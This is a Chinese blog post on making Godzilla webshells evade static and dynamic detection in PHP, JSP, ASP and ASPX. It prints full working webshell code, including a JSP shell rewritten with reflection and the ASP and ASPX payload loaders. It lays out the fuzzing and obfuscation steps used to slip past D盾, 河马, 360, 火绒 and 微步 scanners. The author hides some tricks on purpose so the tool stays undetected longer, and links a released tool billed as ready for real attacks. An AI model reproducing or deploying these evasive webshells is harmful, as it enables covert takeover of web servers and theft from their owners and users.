前言

有小伙伴提议说,我们上个文章改了一下哥斯拉的流量,但是在实际的应用中,我们打战肯定要先传木马落地,如果不能落地,那么你流量改的再好,其实也没有意义,想想,确实也是。没有第一步上传文件,哪里存在流量呢。

那么这次咱们来做一下免杀。在实际的应用中,似乎我们经常碰到安全设备,奈何咱这也没有啥安全设备,我们就采用常见的厂商的在线杀软吧。如果有小伙伴有的话,可以帮我测测,把结果告诉我,笔者再进行优化。

php 免杀

我们用默认生成的文件,

image-20241118113734653

拖到d盾中,看一下

image-20241118114632737

会报3级的双层变量,那好办,拿出来就行

image-20241118114954546

让他先等于一个变量,在传递就可以了。

完事之后,就可以了

image-20241118150517857

没有a.php了。

image-20241118152210198

河马报毒,我们使用fuzz方法看一下哪里有问题。

image-20241118152338008

image-20241118152350132

这里经过fuzz,这里有$qianxinITUfjjXmxo2($_POST[$qianxinw7hJzkKxyi])的时候,那么就报毒,那简单,直接给他拆出来,用变量写。

image-20241118152548119

这样写,就可以了

image-20241118152645497

这里本地版的河马是没有问题了,但是吧,在线版的河马就是过不去,只要出现eval,就直接报。暂时没有太好的办法。在线加密也行,不过比较麻烦。这里就不写了

像d盾河马这种都是静态查杀的,他不管你里面的内容是什么,出现eval这种或者eval() eval(chuanchan) 就会报,d盾还好解决一点,用类可以绕,但是把 河马死活绕不过,先搁下吧。

实际中,我们经常会见到一下商业waf,

image-20241118171049436

微步没报,但是他这个gtp说可能有问题。

火绒和360。火绒和360对webshell其实是不敏感的,终端安全,对cs 或者msf的🐎都比较敏感,所以感觉这个,没啥意义。也测一下吧。

image-20241118182716236

image-20241118182735288

阿里云报了可疑,没有绕过去。这个eval没有过去

image-20241120152721804

好,php的免杀就先到这里吧。奈何笔者太菜了,动态的webshell查杀都过不去。

笔者在测试php5的时候,发现image-20241120153557064

http_response_code(404);这行代码时报错的

在php官网看,发现http_response_code只在(PHP 5 >= 5.4.0, PHP 7, PHP 8)支持。

image-20241120153706885

不过,下面在十一年前,有大牛已经给出了解决方法,

image-20241120153831577

image-20241120153956079

image-20241120154307563

好,这里我们就改完了。

用笔者开的这个工具,你会发现,每次生成的🐎都是一样的,注释什么的,和变量名,都一样。

我们想办法给他写一下,然他变动起来。

image-20241122110329067

我们在原版中可以看到,读取哥斯拉默认生成模板bin文件后,会替换pass 和key。

那么相应的,我们定义几个变量,让他随机替换即可。

image-20241122110501144

首先我们在方法里定义一个数组,然后进行随机排序,然后再给他拿出来用,就可以了。这里用了几个字符串。然后分别进行替换掉。

image-20241122110649176

我们再在bin文件中,写上相应的所需要替换的字符串,这样就可以了。打包,编译。

image-20241122111132618

这样,我们每次生成的木马就不一样了。就动态了。但是其实总体结构还是不变的。变得只是变量。

没事,能用就行,后面在优化。好了 php的免杀就先做到这里,下面是jsp的。

jsp 免杀

环境:Apache Tomcat/9.0.65

image-20241122143604309

上来就是已知后门,那么肯定是被匹配到了关键字,fuzz一下。

image-20241122144122631

image-20241122144144439

image-20241122144208689

在两次的🐎中可以看到,应该是匹配了cipher。

image-20241122152115554

这里给他换成Unicode还是报,那可能还有关键词。

image-20241122152702167

image-20241122152725481

aes也有问题。ok,也给他编码一下,下半部分也有问题,改改。image-20241122155044933

我们在改这个的时候发现就算有这一句,也报已知,那说明,这个里面的\u啥啥啥的也被标记了。

我们在测试的时候,发现阿里云拦截的,image-20241125100859587

这种反射加载类的 invoke方式肯定是被拦截的。所以,我们让gpt帮我们写一下。

image-20241125101509813

就类似于这种。这样的话,阿里云就不报了。

原本的哥斯拉分两半部分,上部分为定义的各种方法。如md5 base64 en decode aes等,

image-20241125101657763

下半部分为,正真的传参逻辑。

image-20241125101749460

我们让gpt帮我们改一下,上半部分,用反射机制,并且避免invoke出现。

左边为没有下班部分,右边是有的

image-20241125101919130

可以看到,上半部分已经没有问题了,下半部分还是有问题,放一下🐎。

image-20241125102230478

阿里云也报,他是报的f.equals(pageContext);。那我们再改一下。🐎的核心逻辑。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
<%! 
String xc = "3c6e0b8a9c15224a";
String pass = "pass";
String md5 = md5(pass + xc);

class X extends ClassLoader {
public X(ClassLoader z) {
super(z);
}

public Class Q(byte[] cb) {
try {
return super.defineClass(null, cb, 0, cb.length);
} catch (ClassFormatError e) {
// 可以在这里捕获并处理异常
e.printStackTrace();
return null;
}
}
}





public byte[] x(byte[] s, boolean m) {
try {
// 获取 Cipher 类
Class<?> cipherClass = Class.forName("javax.crypto.Cipher");

// 获取 Cipher.getInstance("AES") 方法并调用
java.lang.reflect.Method getInstanceMethod = cipherClass.getMethod("getInstance", String.class);
Object cipher = getInstanceMethod.invoke(null, "AES");

// 获取 SecretKeySpec 类并创建对象
Class<?> secretKeySpecClass = Class.forName("javax.crypto.spec.SecretKeySpec");
java.lang.reflect.Constructor<?> secretKeySpecConstructor = secretKeySpecClass.getConstructor(byte[].class, String.class);
Object key = secretKeySpecConstructor.newInstance(xc.getBytes(), "AES");

// 获取 Cipher.init 方法并调用
java.lang.reflect.Method initMethod = cipherClass.getMethod("init", int.class, java.security.Key.class);
initMethod.invoke(cipher, m ? 1 : 2, key);

// 获取 Cipher.doFinal 方法并调用
java.lang.reflect.Method doFinalMethod = cipherClass.getMethod("doFinal", byte[].class);
return (byte[]) doFinalMethod.invoke(cipher, (Object) s);
} catch (Exception e) {
e.printStackTrace();
return null;
}
}




public static String md5(String s) {
String ret = null;
try {
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch (Exception e) {}
return ret;
}

public static String base64Encode(byte[] bs) {
try {
// 使用 java.util.Base64
java.util.Base64.Encoder encoder = java.util.Base64.getEncoder();
return encoder.encodeToString(bs);
} catch (Exception e) {
e.printStackTrace();
return null;
}
}

// 避免 invoke 直接使用 Base64 类
public static byte[] base64Decode(String bs) {
try {
// 使用 java.util.Base64
java.util.Base64.Decoder decoder = java.util.Base64.getDecoder();
return decoder.decode(bs);
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
%>

知道哪里有问题,就好改了。

我们直接在d盾处删了 阿里云报的 f.是不行的,

image-20241125103728559

改了一下变量名,也不行。

经过一天的测试,发现,好像绕不过阿里云了。,太菜了。先这样。

aliyun会匹配f.equals(pageContext);

image-20241125172132547

改成unicode也不行,aliyun是动态的,他会运行。其他的都用反射写好了。

哦,对了,还有一点就是这个defineClass(null, cb, 0, cb.length);方法。

image-20241125175603511

https://xz.aliyun.com/t/11368

在这篇大师傅的文章中,详细说了这个,哥斯拉和冰蝎都是这样的需要defineClass方法来加载恶意类字节码,似乎需要自定义ClassLoader来绕过了。或者改payload了。

image-20241125180907351

image-20241125180031255

下面的评论中,也写了,单文件不好过阿里云了。需要分离了。笔者太菜了,后面在研究。

接下来看下半部分,在看了大量哥斯拉免杀马的教程后发现,d盾我也没过去。下面就记录一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<%
try {
byte[] data = base64Decode(request.getParameter(pass));
data = x(data, false);

if (session.getAttribute("payload") == null) {
session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
} else {
request.setAttribute("parameters", data);
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
Object f = ((Class) session.getAttribute("payload")).newInstance();
f.equals(arrOut);
f.equals(pageContext);

response.getWriter().write(md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16));
}
} catch (Exception e) {}
%>

这是下半部分,主要的查杀点是session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));

准确的来说是getClassLoader这个字符串。

image-20241126114939630

这里直接将这个字符串删掉,完全没有问题。

https://www.freebuf.com/sectool/386231.html

在这篇大师傅的文章中说,将this.getClass().getClassLoader() 可替换为Thread.currentThread().getContextClassLoader()

image-20241126115039932

但是,我们惊奇的发现,getContextClassLoader() 也是存在ClassLoader 所以过不去。

image-20241126115332909

为了gpt,发现,无论怎么获取,都需要有ClassLoader()这个字符,那么就走到了死胡同。

还有一种方法,就是自己写了,那么我们先搁下,后面在研究(其实就是笔者不会,等我研究研究的)。

image-20241126115454282

那么还有一种方法就是混淆了,混淆就是用unicode编码。

image-20241126115901247

但是你会发现,有unicode编码。 直接就报,也不管里面是啥。所以暂时我的路给堵死了。

最后我们就用unicode编码吧,报就报吧,总比报可疑好看一点。

这样的话,我们的模板就写好了。

试试火绒和360 ,

image-20241126145648688

这里传值的时候,是payload就不行,火绒和360都报,

image-20241126145952249

随便写个字符串,即可了。在改改变量名,就不演示了。好,这一我们的模板就彻底完事了。

放到哥斯拉里的bin文件就行。

当然,我们的bin文件需要改一改。由于,哥斯拉默认jsp形式的生成代码是两段,所以我们需要都改一下

image-20241127112917794

把这些str写一下,在主generate中,写一些字符串,然后在生成代码时候进行替换就可以了。

image-20241127113002060

这个活看起来确实不是很难,但是需要很细,改了一天,错一点又要重新删了在替换,心态快崩了。

这里细心的同学会发现,我将原本默认的哥斯拉生成的pass 和 key进行base64了。

就是在这个地方

image-20241127113248451

image-20241127113341743

image-20241127113548405

在生成木马中,就找不到原来的pass 和一个16位的字符了,增加一丢丢迷惑性吧

原本的马中,是有md5函数的,但是这个没有,因为用不到,就给删了。

当然,其中也加了一些其他的东西。这里就不细讲了,防止暴漏,能让大家多用一会。

回到免杀,是的,也过掉了d盾,笔者上面说到的 gpt帮我们找了一些函数,但是都有classcload 过不去,其实不是,经过测试发现,这个是有可以代替的。gpt太强了。这里就不写改过哪里了。大家下载了直接用就好。下个版本在揭露,目前我看网上还没有这种用法。

image-20241127113840202

这样呢,我们就过掉了d盾,希望d盾的作者不要看到这个文章,这样的话,就能一直用了。

好了,这样就可以了。暂时先用着,看下效果。

没次生成的

image-20241127135106715

image-20241127142342625

image-20241127142358575

image-20241127142435205

ok,没有问题,这样jsp的免杀就完成了。大家在使用的时候,尽量别用pass 和key做密码,太明显了。下面咱们来看asp的。

asp 免杀

先看一下原版的🐎

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<%
Set bypassDictionary = Server.CreateObject("Scripting.Dictionary")

Function Base64Decode(ByVal vCode)
Dim oXML, oNode
Set oXML = CreateObject("Msxml2.DOMDocument.3.0")
Set oNode = oXML.CreateElement("base64")
oNode.dataType = "bin.base64"
oNode.text = vCode
Base64Decode = oNode.nodeTypedValue
Set oNode = Nothing
Set oXML = Nothing
End Function

Function decryption(content,isBin)
dim size,i,result,keySize
keySize = len(key)
Set BinaryStream = CreateObject("ADODB.Stream")
BinaryStream.CharSet = "iso-8859-1"
BinaryStream.Type = 2
BinaryStream.Open
if IsArray(content) then
size=UBound(content)+1
For i=1 To size
BinaryStream.WriteText chrw(ascb(midb(content,i,1)) Xor Asc(Mid(key,(i mod keySize)+1,1)))
Next
end if
BinaryStream.Position = 0
if isBin then
BinaryStream.Type = 1
decryption=BinaryStream.Read()
else
decryption=BinaryStream.ReadText()
end if

End Function
key="3c6e0b8a9c15224a"
content=request.Form("pass")
if not IsEmpty(content) then

if IsEmpty(Session("payload")) then
content=decryption(Base64Decode(content),false)
Session("payload")=content
response.End
else
content=decryption(Base64Decode(content),true)
bypassDictionary.Add "payload",Session("payload")
Execute(bypassDictionary("payload"))
result=run(content)
response.Write("11cd6a")
if not IsEmpty(result) then
response.Write Base64Encode(decryption(result,true))
end if
response.Write("ac826a")
end if
end if
%>

我们会发现Execute(bypassDictionary(“payload”)) 这一句肯定是检查的重点了。经过看文章,一共就三个执行命令的函数,

Eval

Execute

ExecuteGlobal

大概率是不好过了。asp可以使用chr(97)这种方式进行混淆关键字。但是eval这种不可以。

image-20241127173004460

类似这种。字符串和chr拼接。

大概这样

image-20241203172721137

看一下查杀效果,首先看最强的阿里云

image-20241203171242474

如我们所想,阿里云直接检测EXECUTE,存在即被ban,那这样的话,没啥好办法了,和php的eval一样了。先搁着,后面笔者在学习学习。

微步没问题

image-20241203172311267

河马也没问题

image-20241203172638930

d盾

image-20241203173204184

360 火绒

image-20241203173743521

那么也就是除了aliyun 其他应该都没啥问题

我们进行简单优化一下,函数和字符串复用一下,尽量少些一点字符。

然后整到到哥斯拉里。替换一下变量名。

image-20241204091248725

模板也修改一下

image-20241204091323827

然后打包试一下效果。生成三个免杀🐎,都不一样。

image-20241204091723915

image-20241204092133180

image-20241204092220267

ok,没有任何问题。接下来看aspx。

aspx 免杀

我们先来看一下aspx的CSHAP_AES_BASE64的🐎

1
2
3
<%@ PAge LaNgUagE="C#"%>
<%try { string key = "3c6e0b8a9c15224a"; string pass = "pass"; string md5 = System.BitConverter.ToString(new System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(System.Text.Encoding.Default.GetBytes(pass + key))).Replace("-", ""); byte[] data = System.Convert.FromBase64String(Context.Request[pass]); data = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(data, 0, data.Length); if (Context.Session["payload"] == null) { Context.Session["payload"] = (System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod("Load", new System.Type[] { typeof(byte[]) }).Invoke(null, new object[] { data }); ; } else { System.IO.MemoryStream outStream = new System.IO.MemoryStream(); object o = ((System.Reflection.Assembly)Context.Session["payload"]).CreateInstance("LY"); o.Equals(Context); o.Equals(outStream); o.Equals(data); o.ToString(); byte[] r = outStream.ToArray(); Context.Response.Write(md5.Substring(0, 16)); Context.Response.Write(System.Convert.ToBase64String(new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0, r.Length))); Context.Response.Write(md5.Substring(16)); } } catch (System.Exception) { }
%>

代码相对较短。应该调用base64比较简单。asp调用base64代码相对较多,代码一度到了60行。大部分都是在加载base64。主要就是将返回的结果aes后进行base64。

data = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(changshangyi), System.Text.Encoding.Default.GetBytes(changshangyi)).TransformFinalBlock(data, 0, data.Length);

image-20241204101405346

image-20241204101424781

这一句应该是重要,还有

Context.Response.Write(System.Convert.ToBase64String(new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0, r.Length)));

理论上来说关于data处理的都是重要的,d盾都标记了。

image-20241204110311317

这个地方定义一个变量传参,或者

image-20241204110338085

直接将aes拆开也行。

现在报可疑。再fuzz一下,哪里可疑。

RijndaelManaged

RijndaelManaged 换成AesManaged
可疑文件出现在下面这一句话上
System.Reflection.MethodInfo loadMethod = assemblyType.GetMethod(“Load”, parameterTypes);

image-20241204115526559

这里还是给他拆开写。

image-20241204115615828

这样就可以了。过掉d盾。
但是还是有问题,就是显示该文件为单文件aspx,有点丑陋。
经过fuzz笔者发现,这个单文件

image-20241204134046641

匹配的就是开头的标识ASPX的一个字段,可以是 c、js、Jscript 、CSHARP等

image-20241204134500691

没有这个就不报了。
经过搜索,这个大师傅已经给出了解决方案。

https://xz.aliyun.com/t/10937

image-20241204134555743

image-20241204134705522

放到最后,并且要<% @language=”c#” %>这么写 就可以绕过了。在优化一下key 和 pass 进行编码一下,隐藏起来。

image-20241204151737129

来看一下aliyun,还是报恶意,但是这次并没有给出检测的哪里,emmmm,去fuzz的话,相对比较难,就是随便删除代码的话,会报正常,因为阿里云会动态检测,语法不对,就直接报正常了。fuzz的时间相对长一些。先搁置把。
微步

image-20241212094648151

image-20241212094657373

360 火绒

image-20241212094812882

免杀都没啥问题。
这里没有使用其他大师傅那种 unicode编码的免杀,为什么呢,还是在jsp中遇到的,在d盾中,只要有unicode编码,就报可疑,感觉不是很好,所以就没有使用。当然,aspx是可以使用unicode进行免杀的。
好开始往里灌,整成动态的。

image-20241212163555701

简单写一下,替换code即可。
一如既往生成三个。

image-20241212164351419

可以看到,每次都不一定。

image-20241212164655181

image-20241212164708818

ok,使用也没问题。这样的话,aspx的免杀也就完成了。

总结

这里也算进行了简单的免杀,全部语言除了 aliyun没有过去,其他的平台基本全过。不得不承认,aliyun是强的。php 简单使用了一下类、对关键字进行了chr的替换,jsp重写了base64编码方法,重写了加载aes,使用的反射型方法写的,对关键字进行替换,asp使用了chr进行替换关键字拼接字符串,换了一下函数的写法,aspx对关键函数拆开重写,并且将关键查杀函数重新写了一下,对关键字base64编码。

下个版本

1.1版本添加木马的免杀,全语言都做好了,但是并没有改流量以及加密方式,只是做了伪装,
后面需要做的:修改一下加密方式,这样的话会更好一点。还有就是message其实是固定的,希望能让他动起来。还有传递的参数 page=1&size=10 是固定的,让他也动起来。其他语言的 比如 jspf的 ,asmx的都没做,后面做。

下载、使用

什么,你说看不明白、不想动手、太麻烦,没事,去下载就可以了。
https://github.com/Bohemiana/godzilla_erkai
release 1.1 免杀版本,src代码也以上传,大家直接下载研究即可。
上个版本由于写的比较菜,没好意思跟大家要star,这次自我感觉还行,也算是实战能用了,如果感觉还凑合,大家帮忙点点star

致谢

最后感谢您读到现在,这篇文章匆忙构成肯定有不周到或描述不正确的地方,期待业界师傅们用各种方式指正勘误。

参考
1
2
3
4
5
6
7
https://github.com/BeichenDream/Godzilla            原版哥斯拉
https://github.com/Tas9er/ByPassGodzilla ByPassGodzilla
https://xz.aliyun.com/t/2758 利用动态二进制加密实现新型一句话木马之.NET篇
https://xz.aliyun.com/t/10937 测试几种实战成功过的webshell的免杀方式
https://xz.aliyun.com/t/11368 实战分析某红队魔改哥斯拉Webshell
https://uuzdaisuki.com/2021/05/12/webshell%E5%85%8D%E6%9D%80%E7%A0%94%E7%A9%B6jsp%E7%AF%87/ webshell免杀研究jsp篇
https://www.secpulse.com/archives/193780.html 简单操作实现冰蝎jsp webshell 阿里云免杀

emmm 太菜了
一直在路上